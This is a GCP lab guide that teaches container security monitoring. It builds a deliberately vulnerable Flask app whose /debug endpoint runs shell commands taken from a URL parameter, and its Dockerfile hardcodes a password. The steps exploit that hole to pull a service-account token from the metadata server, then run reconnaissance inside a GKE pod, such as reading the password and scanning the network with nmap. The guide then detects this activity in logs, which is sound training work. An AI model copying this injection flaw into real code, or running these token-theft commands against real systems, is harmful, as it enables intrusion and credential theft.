Cloud Security Monitoring in GCP

#1Docker + Kubernetes on GCP Lab Guide

1. Lab Overview

Objective

Objectives

By the end of this lab, students will:

1. Build and run a vulnerable Docker container.
2. Scan images with Trivy and GCP Artifact Analysis / SCC.
3. Deploy a GKE cluster with audit logging.
4. Simulate a compromised pod using kubectl exec.
5. Detect suspicious activity via GKE / K8s logs in Cloud Logging.
6. Apply NetworkPolicies and observe blocked / allowed traffic.

1. Build and Run a Vulnerable Docker Container

1.1 Build a simple vulnerable Dockerfile

Steps:

1. Write the simple flask app with vulnerable code

```python
import logging
import sys
from flask import Flask, request
import os

app = Flask(__name__)

# -------------------------
# Logging configuration
# -------------------------
logger = logging.getLogger("vulnerable-app")
logger.setLevel(logging.DEBUG)
```

```
# Log to STDOUT
stdout_handler = logging.StreamHandler(sys.stdout)
stdout_handler.setLevel(logging.DEBUG)

# Log to STDERR
stderr_handler = logging.StreamHandler(sys.stderr)
stderr_handler.setLevel(logging.ERROR)

# Format logs
formatter = logging.Formatter(
    fmt="%(asctime)s [%(levelname)s] %(message)s"
)
stdout_handler.setFormatter(formatter)
stderr_handler.setFormatter(formatter)

logger.addHandler(stdout_handler)
logger.addHandler(stderr_handler)


@app.route("/")
def index():
    logger.info("Received request on '/' endpoint")
    return "Hello from a vulnerable container!"


@app.route("/debug")
def debug():
    cmd = request.args.get("cmd", "id")
    logger.warning(f"/debug endpoint called with cmd='{cmd}'")

    try:
        output = os.popen(cmd).read()
        logger.debug(f"Command output: {output}")
        return output
    except Exception as e:
        logger.error(f"Error executing command: {e}")
        return "Error", 500


if __name__ == "__main__":
    logger.info("Starting vulnerable Flask app on port 8080...")
    app.run(host="0.0.0.0", port=8080)
```

2. Use a lightweight base image to for the docker image

```
Textproto
FROM python:3.9-slim

RUN apt-get update && apt-get install -y curl netcat-traditional nmap && rm -rf
/var/lib/apt/lists/*

ENV DB_PASSWORD=SuperSecret123

WORKDIR /app
COPY app.py /app/app.py

RUN pip install flask

CMD ["python", "app.py"]
```

3. Build and test locally

```
Shell
docker build -t vuln-app:latest .
docker run -p 8080:8080 vuln-app:latest

# Test locally
curl "http://localhost:8080/debug?cmd=whoami"
```

4. Scan Image with trivy and verify any exploitable vulnerabilities

```
Shell
trivy image vuln-app:latest
```

5. Push Image to Artifact Registry

```
Shell
export AR_REPO="a-repo-name"
export REGION="us-central1"
export PROJECT_ID="your-project-id"
```

```
gcloud artifacts repositories create $AR_REPO \
  --repository-format=docker \
  --location=$REGION \
  --description="Security Lab Repo"

docker tag vuln-app:latest
$REGION-docker.pkg.dev/$PROJECT_ID/$AR_REPO/vuln-app:latest
gcloud auth configure-docker \
    us-central1-docker.pkg.dev
docker push $REGION-docker.pkg.dev/$PROJECT_ID/$AR_REPO/vuln-app:latest
```

1.2 Run the docker image on Cloud Run

1. Go to Cloud Run → Deploy Web Service → Deploy Container
2. Choose Deploy one revision from an existing container image
3. Select the latest version of the container you deployed
4. Select Require Authentication
5. Allow All Ingress
6. Test the app once deployed

Shell

```
export APP_URL=<run_app_link>
curl -H "Authorization: Bearer $(gcloud auth print-identity-token)"
$APP_URL/debug\?cmd\=whoami
```

1.3 Explore the app logs

1. Query the metadata service
2. Explore the logs in Log Explorer

Shell

```
curl --get -H "Authorization: Bearer $(gcloud auth print-identity-token)"
--data-urlencode 'cmd=curl -H "Metadata-Flavor: Google"
http://metadata.google.internal/computeMetadata/v1/instance
/service-accounts/default/token' "$APP_URL/debug"
```

```
SQL
resource.type="cloud_run_revision"
...
```

2. Simulate an attack in a GKE cluster

2.1 Deploy the vulnerable app in GKE

Steps

1. Create a GKE cluster with basic settings
    a. Location Type: Regional
    b. Network: default
    c. Subnetwork: default
    d. Workload Identity: Enabled
    e. Legacy ABAC: Disabled
    f. Service Account: Default Compute Engine service account
    g. OAuth Scopes: cloud-platform
    h. Workload Metadata: GKE_METADATA
    i. Legacy Endpoints: Disabled
2. **Make sure to enable Data Access audit**
    a. IAM & Admin → Audit Logs
    b. Search **Kubernetes Metadata API** and **Kubernetes Engine API**
    c. Enable Admin Read, Data Read/Write
3. Deploy the container on GKE as a service
4. Simulate a compromised Pod
    a. Execute reconnaissance commands in the container
    whoami
    hostname
    env | grep DB_PASSWORD
    nmap -p 1-1024 10.0.0.0/24 || echo "nmap result"
    curl http://metadata.google.internal -H "Metadata-Flavor: Google" || echo "metadata"
5. Explore the Container logs and API logs in log explorer

```
SQL
resource.type="k8s_container"
resource.labels.pod_name=<pod_name>
```

```SQL
resource.type="k8s_cluster"
protoPayload.@type="type.googleapis.com/google.cloud.audit.AuditLog"
```

Lab Resources:

- GKE Audit logging